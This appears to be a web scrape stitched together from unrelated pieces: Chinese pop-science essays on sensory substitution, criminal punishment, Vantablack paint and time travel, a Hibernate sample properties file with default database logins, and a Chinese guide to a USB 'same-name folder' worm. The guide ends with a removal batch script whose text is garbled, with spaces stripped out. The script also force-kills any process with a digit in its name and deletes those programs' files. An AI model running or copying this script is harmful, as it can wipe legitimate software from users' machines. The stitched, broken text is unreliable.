现在,研究者们已经在研究,如何通过技术和生物相结合,拓展人的生理传感器,让人感受到生理感官所感觉不到的世界。例如将视网膜里植入纳米摄像机,将视觉信号数字化,并直接将电极网对接到视神经上。 现在甚至有研究团队试图将微型网格电极放在盲人的舌头上,将视频转化为微弱的电触觉信号传导到盲人的舌头上。盲人的大脑很快捕捉并成功分析了这些信号,于是这些盲人便可以在复杂的障碍场地中顺利穿行,甚至能够把篮球投入篮筐。也就是说,他们可以通过他们的“舌头”,“看见”周遭的环境。 这件事听起来很不可思议,不过别忘了,视觉不过就是穿行于大脑中的电化学信号,大脑并不特别在意这些信号从哪里来,它只是擅长处理这些信号。到底从眼睛捕捉的,还是从舌头捕捉的,对大脑来说都是一样的。 那么,究竟哪个世界才是对个人有意义的现实世界? 刑罚?惩罚? 人们应该如何对待罪犯 人类社会到底为什么要有刑罚? 公认的首要目的是阻止人们犯罪。另外,学者们也对刑罚的3个附带目的达成了共识: 改造(又称“复归社会”),改变罪犯的人格,使其被释放后能够遵纪守法 剥夺犯罪能力,与社会隔绝,死刑即永远地剥夺了犯罪能力 威慑,让还没有犯罪的人不敢犯罪,以及罪犯不敢再犯罪 禁闭室刑罚,主要起到第3条作用。 因为对于现实世界来说,罪犯只被限制了5分钟的行为能力,以剥夺犯罪能力为目的的话,这个时间长度可以忽略。 那么,第一禁闭法案是否起到了改造的作用呢? 罪犯实施的大多数犯罪的犯罪率,取决于犯罪的净收益,也就是罪犯期望得到的精神上或者物质上的收益,减去风险(包括刑罚的风险)后的结果。 改造无法影响到犯罪的预期净收益。研究发现,所谓“改造”,目前最多也只是一个没有实际的办法可使之实现的理想。 数据表明,累犯的犯罪率并没有收到改造项目的太多影响。改造可能影响罪犯个人,但是不能影响犯罪率。 例如,研究数据表明,谋杀主要是由初犯实施的。就算不会受到惩罚,大多数激情犯罪的罪犯,也不大可能在冲动之后再去犯别的罪。那么对这类犯人施以惩罚,也不是为了对他们进行改造。 因此,第一禁闭法案,主要只起到了威慑的作用。 这种威慑,理论上应该不仅仅是针对罪犯本身,也包括那些尚未犯罪的人。 那么,问题又来了。禁闭法案取代的是死刑。 虽然人们不知道死究竟是怎样一种体验,但它的确是人类社会共同认可的终极刑罚——所有人的对死亡本身,都是恐惧的。 然而,第一禁闭法案方式,只有体验过的人才明白究竟有多么痛苦。很多时候,极端的感官体验往往是无法描述的。 那我们应该如何利用这条刑罚来威慑那些尚未犯罪的人呢? 换句话说, 有多恐怖,需要靠人们自己的想象力去脑补,那么威慑力度是存疑的。 毕竟对于不同的人,想象力和忍耐力一定是不同的。 好比说,同样是罚款500元,对于赤贫的人和大款,威慑力度有天渊之别。 另外,即便对于大家有共识的威慑,例如死刑,也无法在每时每刻都起作用,无法威慑所有人。 例如,惯犯相比之下更不容易受到威慑的约束;同样不受约束的还有毒瘾强烈的瘾君子,以及容易受激情控制的那些人。 这个话题其实非常深刻,就像“是否应该取消死刑”一样,在人类不同的发展阶段,拥有截然不同的看法和争论。 就像微软的 Building 87 消音室一样, Vantablack 黑色涂料也是真实存在的,它由英国 Surrey Nano System 科研机构研发。 由于开发成本高昂,英国政府开始限制销售这玩意儿,并对配方进行了保密。 更过分的是,过了一阵儿,一个叫卡普尔的雕塑家买断了这种颜料,想要独自享用,这让其他艺术家感到愤怒。因为这种颜料对于艺术创作来说,可以带来更加震撼的表现。 因此,艺术家们决定自己动手,研发一个更NB的版本。 最终,在不懈努力之下,英国艺术家 Stuart Semple 成功研制出了黑洞级黑色涂料的升级版——Stuart Semple Black 2.0。 这个升级版不仅实现了与 Vantabalck 同样的高吸光性,而且还会散发出类似樱桃的果香。
熵并不能阻止时光倒流。 ——鲁迅 如果我能回到过去,我一定要把彩票号码带给自己; 如果我能回到过去,我一定会督促自己在夏天之前减肥; 如果我能回到过去,我一定……还会选择和TA相遇…… 很可惜,我们也就只能想一想而已。如果真想回到过去,让时间倒流,那么我们必须面临一个物理难题——熵大宇。 熵是单向的,只能变大。所以时间也是单向的,只能走向未来,不能逆转。 不过不要慌,因为熵不是万能的,使用不当会出现一些奇怪的bug。 举个栗子 大部分人都直接把熵和“无序”这一概念联系起来,认为熵只是一个代表混乱程度的数值罢了。于是, 越整齐越舒爽越让强迫症们觉得开心的东西,熵就越低; 越混乱越难受越让强迫症们濒临崩溃的东西,熵就越高。 嗯……这样就产生了一个“bug”:既然熵是单向的,那么按道理来讲,混乱程度也应该是单向的。 整个宇宙应该会越来越混乱,怎么可能会出现人类这种高度有秩序有组织有纪律的东西呢? 换句话说,到底是熵出了问题,还是进化论出了问题呢? 其实都没啥问题。出bug的原因在于,熵并不完全等于混乱程度。只有在那些简单的、封闭的、不食人间烟火的、处于平衡态的孤立系统中,熵才可以近似理解为混乱程度。 就像《时间之箭》一书提到的,我们的宇宙极其复杂,时刻处于运动演变之中,根本和“平衡”、“简单”等字眼儿沾不上边。 而且地球作为一个系统,它和身边的各个兄弟姐妹不断发生着各种作用,所以也根本谈不上“孤立”,不能用熵这一简单概念来描述。这么看来,宇宙演化的方向和熵也没有太大关系了,它甚至可以同时朝着有序和无序两个方向发展。 既然如此,凭什么时间不能双向流动呢? 芝诺一个乌龟砸过去,时间就静止了! 嗯……既然提到了芝诺,那我们先回顾一下“芝诺悖论”吧。 芝诺悖论是说,有个叫阿喀琉斯(Achilles)的神话人物,由于某些原因,需要追一只乌龟。 一开始呢,二者相距9米,而且阿喀琉斯速度比乌龟快不少,乍一看这任务毫无难度。 但是,芝诺身为一个数学家,他觉得这个问题不太对。 他是这么想的: 当阿喀琉斯跑了9米之后,乌龟又向前跑了0.9米,没追上; 之后阿喀琉斯又跑了0.9米,但是乌龟也向前跑了0.09米,还是没追上; 然后阿喀琉斯又跑了0.09米,但是乌龟也没闲着,继续跑了0.009米,所以还是没追上…… 那这么一直跑下去,阿喀琉斯永远追不上乌龟啊对不对? 当然不对了…… 假设阿喀琉斯速度为10m/s,乌龟速度为1m/s,那么接下来的计算大家都会:阿喀琉斯追上乌龟需要9/(10-1)=1秒。然而根据芝诺的观点,阿喀琉斯追上乌龟需要0.9+0.09+0.009+……=0.9后面跟上无数个9。所以问题自然而然的就变成了: 1=0.99999……(无数个9)吗? 答案显然是,相等。这个问题说难也不难,说简单吧三言两语也讲不清。其实只要当年……或者即将到来的高数课上认真听讲,这个等式很容易理解,我们就不拓展了。 总而言之,芝诺两个字成为了“时间有限,操作无限”的代名词。 20世纪70年代,得克萨斯大学奥斯汀分校的米斯拉(Misra)和苏达山(Sudarshan)发现了量子力学中的芝诺效应——一个原子原本随时都会衰变。 但如果我们连续不断的观测它,它就永远不会发生衰败。对于这个原子来说,时间仿佛静止了一样。 1989年,美国科罗拉多州的研究小组做了一个更精妙的实验。 天刚蒙蒙亮,小城居民们还在熟睡,研究人员们就已经准备好了5000个质量上乘的铍原子。 对于研究员来说,这些铍原子已经是熟客了。只需施展一些电磁学小技巧就能发现,这些铍原子都处于能级状态。 但是研究员并不满足。 在讲究色香味俱全的科学家眼中,能级状态2才是铍原子最好的归宿。于是他们花上了几个日夜,为这5000个铍原子准备了一口“电磁大锅”。在大锅的烹饪下,只需0.256秒,5000个铍原子便可一齐“煮开”,从破旧的能级状态1升级为精良的能级状态2。 然而,研究员仍不满足。作为一名对大自然充满好奇心的物理学家,观察一切细节是他最本质的冲动。他掏出一个激光探测仪,在这短短的0.256秒内进行了多次观察。 结果发现,随着观测频率的提升,从能级状态1升级为能级状态2的铍原子数量在不断下降。当观测频率达到0.004秒一次时,没有任何一个铍原子能够顺利升级。 这,就是属于大自然的奥妙。 所以,拯救薛定谔的猫的办法也很简单:不断观测那颗原子,它就永远不会衰变,所以也就永远不会触发机关放出毒气。 全宇宙只有1个电子 为什么所有电子长得都一个样? 因为全宇宙其实只有一个电子,其它的电子都是它自己在时空上留下的残影。 嗯……要具体解释这个脑洞,还要从这个脑洞的作者——费曼——年轻的时候讲起。 费曼当时还只是个学生,在普林斯顿读研。有一天,他在狄拉克方程(量子力学中一个重要的方程)中发现了一个奇怪的现象: 如果把方程中的时间换个方向,同时将电荷反转,那么方程依然成立。 也就是说,一个时间倒流的电子,等于一个时间顺流的反电子; 从数学上来讲,量子力学并不反对时间反转。 如果把这个理论推广开来,我们就得到了一个更让人费解的结论: 反物质并不神奇,它只是时间倒流的普通物质罢了。 假设现在就是宇宙的开端,也就是大爆炸,炸出了一个正常的电子,于是它开始在时间轴上愉快的奔跑。注意,是时间轴,而不是空间中的坐标轴。 跑着跑着,它来到了世界末日,遇到了和宇宙大爆炸类似的神秘现象,很害怕,于是掉头往回跑。 往回跑也有个头,那就是宇宙大爆炸,它是时间的开始。于是迫不得已,这个电子再次掉头,开始朝着世界末日跑。 跑了无数次之后,它在这个时空中留下了无数个残影。时间轴的每一时刻,空间中的每一坐标都有它活动的痕迹。 然后,电子催生了物质,物质组成了星球,星球又聚集成了星系……无数个星系,组成了可见的浩瀚宇宙。 哇,这个脑洞光是想一想就觉得激动不已。 不过……话又说回来了,我们关心的并不是宇宙起源,而是到底能不能让未来的自己把高考答案送回来。 答案当然是……不能。 因为这套操作并没有违背因果律。 用物理学家加来道雄的话来讲,这个电子回到过去,也“仅仅是实现了过去”,并没有改变什么东西。 当然了,最后还是要给即将高考的小伙伴们一个希望: 霍金曾经提出过一个“时序保护”的猜想,希望有人能够提出一条定理,可以从原理上彻彻底底的否定时间旅行,可惜至今都没有人实现霍金的夙愿。 所以,万一,我是说万一啊,你考的不是特别理想,其实也没关系。 今后的人生可以努努力,搞一搞科研,争取实现时空穿越,把高考答案给当年的自己送过去。 至于如何提高自己的姿势水平嘛……当然是多读书啦!
1 ###################### 2 ### Query Language ### 3 ###################### 4 5 ## define query language constants / function names 6 7 hibernate.query.substitutions yes 'Y', no 'N' 8 9 10 ## select the classic query parser 11 12 #hibernate.query.factory_class org.hibernate.hql.internal.classic.ClassicQueryTranslatorFactory 13 14 15 16 ################# 17 ### Platforms ### 18 ################# 19 20 ## JNDI Datasource 21 22 #hibernate.connection.datasource jdbc/test 23 #hibernate.connection.username db2 24 #hibernate.connection.password db2 25 26 27 ## HypersonicSQL 28 29 hibernate.dialect org.hibernate.dialect.HSQLDialect 30 hibernate.connection.driver_class org.hsqldb.jdbcDriver 31 hibernate.connection.username sa 32 hibernate.connection.password 33 hibernate.connection.url jdbc:hsqldb:./build/db/hsqldb/hibernate 34 #hibernate.connection.url jdbc:hsqldb:hsql://localhost 35 #hibernate.connection.url jdbc:hsqldb:test 36 37 ## H2 (www.h2database.com) 38 #hibernate.dialect org.hibernate.dialect.H2Dialect 39 #hibernate.connection.driver_class org.h2.Driver 40 #hibernate.connection.username sa 41 #hibernate.connection.password 42 #hibernate.connection.url jdbc:h2:mem:./build/db/h2/hibernate 43 #hibernate.connection.url jdbc:h2:testdb/h2test 44 #hibernate.connection.url jdbc:h2:mem:imdb1 45 #hibernate.connection.url jdbc:h2:tcp://dbserv:8084/sample; 46 #hibernate.connection.url jdbc:h2:ssl://secureserv:8085/sample; 47 #hibernate.connection.url jdbc:h2:ssl://secureserv/testdb;cipher=AES 48 49 ## MySQL 50 51 #hibernate.dialect org.hibernate.dialect.MySQLDialect 52 #hibernate.dialect org.hibernate.dialect.MySQLInnoDBDialect 53 #hibernate.dialect org.hibernate.dialect.MySQLMyISAMDialect 54 #hibernate.connection.driver_class com.mysql.jdbc.Driver 55 #hibernate.connection.url jdbc:mysql:///test 56 #hibernate.connection.username gavin 57 #hibernate.connection.password 58 59 60 ## Oracle 61 62 #hibernate.dialect org.hibernate.dialect.Oracle8iDialect 63 #hibernate.dialect org.hibernate.dialect.Oracle9iDialect 64 #hibernate.dialect org.hibernate.dialect.Oracle10gDialect 65 #hibernate.connection.driver_class oracle.jdbc.driver.OracleDriver 66 #hibernate.connection.username ora 67 #hibernate.connection.password ora 68 #hibernate.connection.url jdbc:oracle:thin:@localhost:1521:orcl 69 #hibernate.connection.url jdbc:oracle:thin:@localhost:1522:XE 70 71 72 ## PostgreSQL 73 74 #hibernate.dialect org.hibernate.dialect.PostgreSQLDialect 75 #hibernate.connection.driver_class org.postgresql.Driver 76 #hibernate.connection.url jdbc:postgresql:template1 77 #hibernate.connection.username pg 78 #hibernate.connection.password 79 80 81 ## DB2 82 83 #hibernate.dialect org.hibernate.dialect.DB2Dialect 84 #hibernate.connection.driver_class com.ibm.db2.jcc.DB2Driver 85 #hibernate.connection.driver_class COM.ibm.db2.jdbc.app.DB2Driver 86 #hibernate.connection.url jdbc:db2://localhost:50000/somename 87 #hibernate.connection.url jdbc:db2:somename 88 #hibernate.connection.username db2 89 #hibernate.connection.password db2 90 91 ## TimesTen 92 93 #hibernate.dialect org.hibernate.dialect.TimesTenDialect 94 #hibernate.connection.driver_class com.timesten.jdbc.TimesTenDriver 95 #hibernate.connection.url jdbc:timesten:direct:test 96 #hibernate.connection.username 97 #hibernate.connection.password 98 99 ## DB2/400 100 101 #hibernate.dialect org.hibernate.dialect.DB2400Dialect 102 #hibernate.connection.username user 103 #hibernate.connection.password password 104 105 ## Native driver 106 #hibernate.connection.driver_class COM.ibm.db2.jdbc.app.DB2Driver 107 #hibernate.connection.url jdbc:db2://systemname 108 109 ## Toolbox driver 110 #hibernate.connection.driver_class com.ibm.as400.access.AS400JDBCDriver 111 #hibernate.connection.url jdbc:as400://systemname 112 113 114 ## Derby (not supported!) 115 116 #hibernate.dialect org.hibernate.dialect.DerbyDialect 117 #hibernate.connection.driver_class org.apache.derby.jdbc.EmbeddedDriver 118 #hibernate.connection.username 119 #hibernate.connection.password 120 #hibernate.connection.url jdbc:derby:build/db/derby/hibernate;create=true 121 122 123 ## Sybase 124 125 #hibernate.dialect org.hibernate.dialect.SybaseDialect 126 #hibernate.connection.driver_class com.sybase.jdbc2.jdbc.SybDriver 127 #hibernate.connection.username sa 128 #hibernate.connection.password sasasa 129 #hibernate.connection.url jdbc:sybase:Tds:co3061835-a:5000/tempdb 130 131 132 ## Mckoi SQL 133 134 #hibernate.dialect org.hibernate.dialect.MckoiDialect 135 #hibernate.connection.driver_class com.mckoi.JDBCDriver 136 #hibernate.connection.url jdbc:mckoi:/// 137 #hibernate.connection.url jdbc:mckoi:local://C:/mckoi1.0.3/db.conf 138 #hibernate.connection.username admin 139 #hibernate.connection.password nimda 140 141 142 ## SAP DB 143 144 #hibernate.dialect org.hibernate.dialect.SAPDBDialect 145 #hibernate.connection.driver_class com.sap.dbtech.jdbc.DriverSapDB 146 #hibernate.connection.url jdbc:sapdb://localhost/TST 147 #hibernate.connection.username TEST 148 #hibernate.connection.password TEST 149 #hibernate.query.substitutions yes 'Y', no 'N' 150 151 152 ## MS SQL Server 153 154 #hibernate.dialect org.hibernate.dialect.SQLServerDialect 155 #hibernate.connection.username sa 156 #hibernate.connection.password sa 157 158 ## JSQL Driver 159 #hibernate.connection.driver_class com.jnetdirect.jsql.JSQLDriver 160 #hibernate.connection.url jdbc:JSQLConnect://1E1/test 161 162 ## JTURBO Driver 163 #hibernate.connection.driver_class com.newatlanta.jturbo.driver.Driver 164 #hibernate.connection.url jdbc:JTurbo://1E1:1433/test 165 166 ## WebLogic Driver 167 #hibernate.connection.driver_class weblogic.jdbc.mssqlserver4.Driver 168 #hibernate.connection.url jdbc:weblogic:mssqlserver4:1E1:1433 169 170 ## Microsoft Driver (not recommended!) 171 #hibernate.connection.driver_class com.microsoft.jdbc.sqlserver.SQLServerDriver 172 #hibernate.connection.url jdbc:microsoft:sqlserver://1E1;DatabaseName=test;SelectMethod=cursor 173 174 ## The New Microsoft Driver 175 #hibernate.connection.driver_class com.microsoft.sqlserver.jdbc.SQLServerDriver 176 #hibernate.connection.url jdbc:sqlserver://localhost 177 178 ## jTDS (since version 0.9) 179 #hibernate.connection.driver_class net.sourceforge.jtds.jdbc.Driver 180 #hibernate.connection.url jdbc:jtds:sqlserver://1E1/test 181 182 ## Interbase 183 184 #hibernate.dialect org.hibernate.dialect.InterbaseDialect 185 #hibernate.connection.username sysdba 186 #hibernate.connection.password masterkey 187 188 ## DO NOT specify hibernate.connection.sqlDialect 189 190 ## InterClient 191 192 #hibernate.connection.driver_class interbase.interclient.Driver 193 #hibernate.connection.url jdbc:interbase://localhost:3060/C:/firebird/test.gdb 194 195 ## Pure Java 196 197 #hibernate.connection.driver_class org.firebirdsql.jdbc.FBDriver 198 #hibernate.connection.url jdbc:firebirdsql:localhost/3050:/firebird/test.gdb 199 200 201 ## Pointbase 202 203 #hibernate.dialect org.hibernate.dialect.PointbaseDialect 204 #hibernate.connection.driver_class com.pointbase.jdbc.jdbcUniversalDriver 205 #hibernate.connection.url jdbc:pointbase:embedded:sample 206 #hibernate.connection.username PBPUBLIC 207 #hibernate.connection.password PBPUBLIC 208 209 210 ## Ingres 211 212 ## older versions (before Ingress 2006) 213 214 #hibernate.dialect org.hibernate.dialect.IngresDialect 215 #hibernate.connection.driver_class ca.edbc.jdbc.EdbcDriver 216 #hibernate.connection.url jdbc:edbc://localhost:II7/database 217 #hibernate.connection.username user 218 #hibernate.connection.password password 219 220 ## Ingres 2006 or later 221 222 #hibernate.dialect org.hibernate.dialect.IngresDialect 223 #hibernate.connection.driver_class com.ingres.jdbc.IngresDriver 224 #hibernate.connection.url jdbc:ingres://localhost:II7/database;CURSOR=READONLY;auto=multi 225 #hibernate.connection.username user 226 #hibernate.connection.password password 227 228 ## Mimer SQL 229 230 #hibernate.dialect org.hibernate.dialect.MimerSQLDialect 231 #hibernate.connection.driver_class com.mimer.jdbc.Driver 232 #hibernate.connection.url jdbc:mimer:multi1 233 #hibernate.connection.username hibernate 234 #hibernate.connection.password hibernate 235 236 237 ## InterSystems Cache 238 239 #hibernate.dialect org.hibernate.dialect.Cache71Dialect 240 #hibernate.connection.driver_class com.intersys.jdbc.CacheDriver 241 #hibernate.connection.username _SYSTEM 242 #hibernate.connection.password SYS 243 #hibernate.connection.url jdbc:Cache://127.0.0.1:1972/HIBERNATE 244 245 246 ################################# 247 ### Hibernate Connection Pool ### 248 ################################# 249 250 hibernate.connection.pool_size 1 251 252 253 254 ########################### 255 ### C3P0 Connection Pool### 256 ########################### 257 258 #hibernate.c3p0.max_size 2 259 #hibernate.c3p0.min_size 2 260 #hibernate.c3p0.timeout 5000 261 #hibernate.c3p0.max_statements 100 262 #hibernate.c3p0.idle_test_period 3000 263 #hibernate.c3p0.acquire_increment 2 264 #hibernate.c3p0.validate false 265 266 267 268 ############################## 269 ### Proxool Connection Pool### 270 ############################## 271 272 ## Properties for external configuration of Proxool 273 274 hibernate.proxool.pool_alias pool1 275 276 ## Only need one of the following 277 278 #hibernate.proxool.existing_pool true 279 #hibernate.proxool.xml proxool.xml 280 #hibernate.proxool.properties proxool.properties 281 282 283 284 ################################# 285 ### Plugin ConnectionProvider ### 286 ################################# 287 288 ## use a custom ConnectionProvider (if not set, Hibernate will choose a built-in ConnectionProvider using hueristics) 289 290 #hibernate.connection.provider_class org.hibernate.connection.DriverManagerConnectionProvider 291 #hibernate.connection.provider_class org.hibernate.connection.DatasourceConnectionProvider 292 #hibernate.connection.provider_class org.hibernate.connection.C3P0ConnectionProvider 293 #hibernate.connection.provider_class org.hibernate.connection.ProxoolConnectionProvider 294 295 296 297 ####################### 298 ### Transaction API ### 299 ####################### 300 301 ## Enable automatic flush during the JTA beforeCompletion() callback 302 ## (This setting is relevant with or without the Transaction API) 303 304 #hibernate.transaction.flush_before_completion 305 306 307 ## Enable automatic session close at the end of transaction 308 ## (This setting is relevant with or without the Transaction API) 309 310 #hibernate.transaction.auto_close_session 311 312 313 ## the Transaction API abstracts application code from the underlying JTA or JDBC transactions 314 315 #hibernate.transaction.factory_class org.hibernate.transaction.JTATransactionFactory 316 #hibernate.transaction.factory_class org.hibernate.transaction.JDBCTransactionFactory 317 318 319 ## to use JTATransactionFactory, Hibernate must be able to locate the UserTransaction in JNDI 320 ## default is java:comp/UserTransaction 321 ## you do NOT need this setting if you specify hibernate.transaction.manager_lookup_class 322 323 #jta.UserTransaction jta/usertransaction 324 #jta.UserTransaction javax.transaction.UserTransaction 325 #jta.UserTransaction UserTransaction 326 327 328 ## to use the second-level cache with JTA, Hibernate must be able to obtain the JTA TransactionManager 329 330 #hibernate.transaction.manager_lookup_class org.hibernate.transaction.JBossTransactionManagerLookup 331 #hibernate.transaction.manager_lookup_class org.hibernate.transaction.WeblogicTransactionManagerLookup 332 #hibernate.transaction.manager_lookup_class org.hibernate.transaction.WebSphereTransactionManagerLookup 333 #hibernate.transaction.manager_lookup_class org.hibernate.transaction.OrionTransactionManagerLookup 334 #hibernate.transaction.manager_lookup_class org.hibernate.transaction.ResinTransactionManagerLookup 335 336 337 338 ############################## 339 ### Miscellaneous Settings ### 340 ############################## 341 342 ## print all generated SQL to the console 343 344 #hibernate.show_sql true 345 346 347 ## format SQL in log and console 348 349 hibernate.format_sql true 350 351 352 ## add comments to the generated SQL 353 354 #hibernate.use_sql_comments true 355 356 357 ## generate statistics 358 359 #hibernate.generate_statistics true 360 361 362 ## auto schema export 363 364 #hibernate.hbm2ddl.auto create-drop 365 #hibernate.hbm2ddl.auto create 366 #hibernate.hbm2ddl.auto update 367 #hibernate.hbm2ddl.auto validate 368 369 370 ## specify a default schema and catalog for unqualified tablenames 371 372 #hibernate.default_schema test 373 #hibernate.default_catalog test 374 375 376 ## enable ordering of SQL UPDATEs by primary key 377 378 #hibernate.order_updates true 379 380 381 ## set the maximum depth of the outer join fetch tree 382 383 hibernate.max_fetch_depth 1 384 385 386 ## set the default batch size for batch fetching 387 388 #hibernate.default_batch_fetch_size 8 389 390 391 ## rollback generated identifier values of deleted entities to default values 392 393 #hibernate.use_identifer_rollback true 394 395 396 ## enable bytecode reflection optimizer (disabled by default) 397 398 #hibernate.bytecode.use_reflection_optimizer true 399 400 401 402 ##################### 403 ### JDBC Settings ### 404 ##################### 405 406 ## specify a JDBC isolation level 407 408 #hibernate.connection.isolation 4 409 410 411 ## enable JDBC autocommit (not recommended!) 412 413 #hibernate.connection.autocommit true 414 415 416 ## set the JDBC fetch size 417 418 #hibernate.jdbc.fetch_size 25 419 420 421 ## set the maximum JDBC 2 batch size (a nonzero value enables batching) 422 423 #hibernate.jdbc.batch_size 5 424 #hibernate.jdbc.batch_size 0 425 426 427 ## enable batch updates even for versioned data 428 429 hibernate.jdbc.batch_versioned_data true 430 431 432 ## enable use of JDBC 2 scrollable ResultSets (specifying a Dialect will cause Hibernate to use a sensible default) 433 434 #hibernate.jdbc.use_scrollable_resultset true 435 436 437 ## use streams when writing binary types to / from JDBC 438 439 hibernate.jdbc.use_streams_for_binary true 440 441 442 ## use JDBC 3 PreparedStatement.getGeneratedKeys() to get the identifier of an inserted row 443 444 #hibernate.jdbc.use_get_generated_keys false 445 446 447 ## choose a custom JDBC batcher 448 449 # hibernate.jdbc.factory_class 450 451 452 ## enable JDBC result set column alias caching 453 ## (minor performance enhancement for broken JDBC drivers) 454 455 # hibernate.jdbc.wrap_result_sets 456 457 458 ## choose a custom SQL exception converter 459 460 #hibernate.jdbc.sql_exception_converter 461 462 463 464 ########################## 465 ### Second-level Cache ### 466 ########################## 467 468 ## optimize cache for minimal "puts" instead of minimal "gets" (good for clustered cache) 469 470 #hibernate.cache.use_minimal_puts true 471 472 473 ## set a prefix for cache region names 474 475 hibernate.cache.region_prefix hibernate.test 476 477 478 ## disable the second-level cache 479 480 #hibernate.cache.use_second_level_cache false 481 482 483 ## enable the query cache 484 485 #hibernate.cache.use_query_cache true 486 487 488 ## store the second-level cache entries in a more human-friendly format 489 490 #hibernate.cache.use_structured_entries true 491 492 493 ## choose a cache implementation 494 495 #hibernate.cache.region.factory_class org.hibernate.cache.infinispan.InfinispanRegionFactory 496 #hibernate.cache.region.factory_class org.hibernate.cache.infinispan.JndiInfinispanRegionFactory 497 #hibernate.cache.region.factory_class org.hibernate.cache.internal.EhCacheRegionFactory 498 #hibernate.cache.region.factory_class org.hibernate.cache.internal.SingletonEhCacheRegionFactory 499 hibernate.cache.region.factory_class org.hibernate.cache.internal.NoCachingRegionFactory 500 501 ## choose a custom query cache implementation 502 503 #hibernate.cache.query_cache_factory 504 505 506 507 ############ 508 ### JNDI ### 509 ############ 510 511 ## specify a JNDI name for the SessionFactory 512 513 #hibernate.session_factory_name hibernate/session_factory 514 515 516 ## Hibernate uses JNDI to bind a name to a SessionFactory and to look up the JTA UserTransaction; 517 ## if hibernate.jndi.* are not specified, Hibernate will use the default InitialContext() which 518 ## is the best approach in an application server 519 520 #file system 521 #hibernate.jndi.class com.sun.jndi.fscontext.RefFSContextFactory 522 #hibernate.jndi.url file:/ 523 524 #WebSphere 525 #hibernate.jndi.class com.ibm.websphere.naming.WsnInitialContextFactory 526 #hibernate.jndi.url iiop://localhost:900/ 1 <!DOCTYPE hibernate-configuration PUBLIC 2 "-//Hibernate/Hibernate Configuration DTD 3.0//EN" 3 "http://www.hibernate.org/dtd/hibernate-configuration-3.0.dtd"> 4 5 <hibernate-configuration> 6 <session-factory name="foo"> 7 <property name="show_sql">true</property> 8 <mapping resource="org/hibernate/test/legacy/Simple.hbm.xml"/> 9 <class-cache 10 class="org.hibernate.test.legacy.Simple" 11 region="Simple" 12 usage="read-write"/> 13 </session-factory> 14 </hibernate-configuration>
最近非常流行的一个病毒,将电脑或者U盘里的文件全部用快捷方式替换,真实文件被隐藏起来,下面我们就具体了解下此种病毒吧,做好预防与杀毒工作。 一、病毒名称 病毒名称:移动盘同名文件夹病毒;文件夹EXE病毒;同名文件夹EXE病毒 木马名称:Worm.Win32.AutoRun.soq 二、中毒特征 移动盘中毒后,移动盘中的所有文件夹被隐藏起来,病毒伪装成文件夹,但露出了尾巴,也就是露出了它的扩展名exe,因为我见到的文件夹一般是没有扩展名的,而且你可以往里面放东西的,所以,见到exe你应该想到它不是文件夹了,它是一个应用程序。系统中毒后,进程中会出现一两个随机数字和字母命名的进程,病毒文件被复制到系统根目录和系统临时文件夹以及自启动和注册表中。它们可以相互感染传播,只要移动盘中毒了或者电脑中毒了,它们就会感染没有中毒的一方。该病毒经过几次变异,目前它在命名上和隐藏路径上出现了新变化,阻止显示隐藏文件,达到加强生存的能力,这个需要注意。 以下几个是中毒后的典型特征: 1、移动盘中的文件夹带exe 其实该带exe的文件夹不是文件夹,而是可执行程序,它的图标是文件夹,扩展名为.EXE,大小约为1.20M-1.50M,通常是1.44M。 2、进程中出现以数字和字母随机命名的进程 旧版病毒通常以"XP"开头,如XP-F84AA1B5.EXE。变异后是六位随机命名,如96015E.exe。 3、自启动出现两个病毒快捷方式 自启动中出现一个文件夹图标或者没有图标的快捷方式,该快捷方式没有名称,或者名称是空格,但空格通常占有一定位置这样".lnk"。同时出现在启动项中还有随机命名的病毒快捷方式。 4、常见病毒主体 病毒主体被拷贝到系统根目录和系统临时文件夹中,病毒主体主要有以下几个: XP-*.EXE(随机命名) 96015E.exe(随机命名) winvcreg.exe og.dll ul.dll og.EDT 21c0.EDT 21c0.inf 69fe.inf com.run dp1.fne eAPI.fne internet.fne krnln.fnr RegEx.fnr shell.fne spec.fne msdll.dll 5、移动盘中的文件夹被隐藏起来 可以通过显示隐藏文件查看,但新变异病毒会阻止查看隐藏文件。 6、自动传播 该病毒可以实现电脑和移动盘相互感染传播,特别是在没有禁用系统自动播放功能和没有免疫autoruns的系统上,一插入中毒盘,病毒就会自动打开移动盘,即使经过免疫,双击该(带EXE的文件夹)病毒,该病毒也会自动运行。 三、危害程度 目前尚不明确该毒的主要危害,据说可以自动下载木马。它对系统的危害性不是很明显,它的危害更多来自病毒自动传播上给人们带来的困扰、担忧和恐惧。该病毒07、08年开始流行,当前泛滥于办公电脑和个人电脑,新闻报道80%的办公电脑和移动盘中过该毒。 四、杀毒方式 由于该病毒的危害性不是很明显,许多杀毒软件都当它是小儿科,根本不值一提,正是这种轻视的态度造成了该病毒的泛滥,困扰着人们的工作和生活。 1、杀毒工具: 目前据说瑞星已经将其列入查杀项目,不清楚其它杀毒软件是否有此计划。 据我所知,当前能够有效查杀该病毒的有USBCleaner。 360安全卫士能够检测出来,但不一定能够完整清理。检测力强,杀毒力软,这也是360一直被人诟病的地方。 其它的如木马克星、超级巡警等专门查杀木马和专门查杀优盘的杀毒软件道理上应该都可以查杀该病毒。 当然,杀毒软件每日都在更新,今天说不能杀不代表明天不能杀。 2、病毒专杀: 网上的专杀很多,大家可以尝试,一般都能够手到病除,但要注意及时更新。推荐使用文件夹图标专杀工具。 3、手动专杀: 该病毒还是比较容易查杀的,只要找到该病毒的藏身之所你就可以将其清除。在查杀的时候,可以使用批处理来协助查杀,方法如下: [1]将以下代码复制到记事本中,另存为"专杀同名文件夹病毒.bat"运行即可,注意格式为【.bat】。 1 @echo off 2 title 移动盘同名文件夹病毒专杀工具(升级改进版2009.12.1) 3 copy %0%SYSTEMDRIVE%>nul 4 COLOR3C 5 echo 开始杀毒,正在检查…… 6 for /f%%ain('tasklist')doecho%%a|findstr"[0-9]"|findstr/i/v"360tray.exe">>psyf.txt 7 for /f%%ain(psyf.txt)docls&echo发现可疑进程:%%a&taskkill/f/im%%a 8 taskkill /f /im XP* 9 taskkill explorer 10 taskkill/f/imexplorer.exe 11 echo清除病毒…… 12 for/f%%ain(psyf.txt)do(wmicprocesswherename="%%a"getExecutablePath|find/i".exe")>>fpath.txt 13 for/f%%ain(fpath.txt)doifexist%%a(attrib-h-r-s-a%%)&(DEL/F/Q%%a) 14 for/f"delims="%%ain(psyf.txt)do( 15 for/r%SYSTEMROOT%\system32%%iin(%%a)do( 16 ifexist%%iecho%%i>nul 17 ifexist%%i(attrib-h-r-s%%i) 18 (DEL/F/Q%%i) 19 ) 20 ) 21 